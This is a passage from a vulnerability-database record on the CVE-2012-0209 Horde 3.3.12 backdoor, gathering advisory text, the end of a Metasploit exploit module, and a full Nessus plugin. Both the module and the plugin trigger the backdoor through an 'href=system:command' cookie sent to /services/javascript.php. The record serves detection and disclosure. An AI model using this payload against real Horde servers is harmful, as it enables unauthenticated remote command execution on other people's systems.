'uri' => normalize_uri(uri, \"/services/javascript.php\"),\n 'method' => 'POST',\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"app=\"+datastore['APP']+\"&file=open_calendar.js\",\n 'headers' =>\n {\n 'Cookie' => \"href=\"+function+\":\"+arguments,\n 'Connection' => 'Close',\n }\n }) #default timeout, we don't care about the response\n\n if not res\n fail_with(Failure::NotFound, 'The server did not respond to our request')\n end\n\n resp = res.body.split(key)\n if resp and resp[1]\n print_status(resp[1])\n else\n print_error(\"No response found\")\n end\n\n handler\n end\nend\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/horde_href_backdoor.rb"}], "nessus": [{"lastseen": "2021-01-20T11:31:51", "description": "A backdoored Horde release was detected on the remote host. The\nHorde FTP server was compromised, and backdoor code was added to allow\narbitrary PHP execution. The backdoor reportedly was present in\nversions of Horde 3.3.12 downloaded between November 15, 2011 and\nFebruary 7, 2012.\n\nA remote, unauthenticated attacker could exploit this to execute\narbitrary PHP.", "edition": 28, "published": "2012-02-17T00:00:00", "title": "Horde 3.3.12 open_calendar.js Backdoor", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2012-0209"], "modified": "2012-02-17T00:00:00", "cpe": ["cpe:/a:horde:horde_application_framework"], "id": "HORDE_OPEN_CALENDAR_BACKDOOR.NASL", "href": "https://www.tenable.com/plugins/nessus/58010", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\n\nif (description)\n{\n script_id(58010);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n\n script_cve_id(\"CVE-2012-0209\");\n script_bugtraq_id(51989);\n script_xref(name:\"EDB-ID\", value:\"18492\");\n\n script_name(english:\"Horde 3.3.12 open_calendar.js Backdoor\");\n script_summary(english:\"Attempts to run a command\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"A web application hosted on the remote host has a code execution\nvulnerability.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"A backdoored Horde release was detected on the remote host. The\nHorde FTP server was compromised, and backdoor code was added to allow\narbitrary PHP execution. The backdoor reportedly was present in\nversions of Horde 3.3.12 downloaded between November 15, 2011 and\nFebruary 7, 2012.\n\nA remote, unauthenticated attacker could exploit this to execute\narbitrary PHP.\"\n );\n # https://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?fc71ca54\");\n script_set_attribute(attribute:\"see_also\", value:\"https://lists.horde.org/archives/announce/2012/000751.html\");\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Reinstall one of the clean software packages referenced in the Horde\nadvisory for CVE-2012-0209.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"d2_elliot_name\", value:\"Horde RCE\");\n script_set_attribute(attribute:\"exploit_framework_d2_elliot\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:'White_Phosphorus');\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/17\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:horde:horde_application_framework\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"horde_detect.nasl\", \"os_fingerprint.nasl\");\n script_require_keys(\"www/horde\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"webapp_func.inc\");\ninclude(\"data_protection.inc\");\n\nport = get_http_port(default:80, php:TRUE);\ninstall = get_install_from_kb(appname:'horde', port:port, exit_on_fail:TRUE);\n\n# make an educated guess about which command to run,\n# unless paranoid or unable to fingerprint the OS\nif (report_paranoia < 2 && (os = get_kb_item('Host/OS')))\n{\n if ('Windows' >< os)\n cmds = make_list('ipconfig');\n else\n cmds = make_list('id');\n}\nelse cmds = make_list('id', 'ipconfig');\n\ncmd_pats['id'] = 'uid=[0-9]+.*gid=[0-9]+.*';\ncmd_pats['ipconfig'] = 'Windows IP Configuration';\nurl = install['dir'] + '/services/javascript.php';\npostdata = 'app=horde&file=open_calendar.js';\nphp_func = 'system';\nenable_cookiejar();\n\nforeach cmd (cmds)\n{\n clear_cookiejar();\n set_http_cookie(name:'href', value:php_func + ':' + cmd);\n res = http_send_recv3(\n method:'POST',\n item:url,\n port:port,\n data:postdata,\n content_type:'application/x-www-form-urlencoded',\n exit_on_fail:TRUE\n );\n\n if (output = egrep(pattern:cmd_pats[cmd], string:res[2]))\n {\n if (report_verbosity > 0)\n {\n report =\n '\\nNessus executed \"' + cmd + '\" by sending the following request :\\n\\n' +\n chomp(http_last_sent_request()) + '\\n';\n\n if (report_verbosity > 1)\n {\n output = strstr(res[2], output);\n rest = strstr(output, \"';\");\n output -= rest;\n\n # strip out the leading part of the line which doesn't contain the command output (*nix)\n match = eregmatch(string:output, pattern:\"link\\.href = '#(.+)$\");\n if (!isnull(match))\n output = match[1] + '\\n';\n output = data_protection::sanitize_uid(output:output);\n report += '\\nWhich resulted in the following output :\\n\\n' + output;\n }\n\n security_hole(port:port, extra:report);\n }\n else security_hole(port);\n\n exit(0);\n }\n}\n\nexit(0, 'The Horde install at ' + build_url(qs:install['dir'], port:port) + ' is not affected.');\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "dsquare": [{"lastseen": "2019-05-29T15:31:57", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0209"], "description": "Horde unauthorized backdoor (11/11 - 02/12)\n\nVulnerability Type: Remote Command Execution", "modified": "2013-04-02T00:00:00", "published": "2012-02-15T00:00:00", "id": "E-26", "href": "", "type": "dsquare", "title": "Horde RCE", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}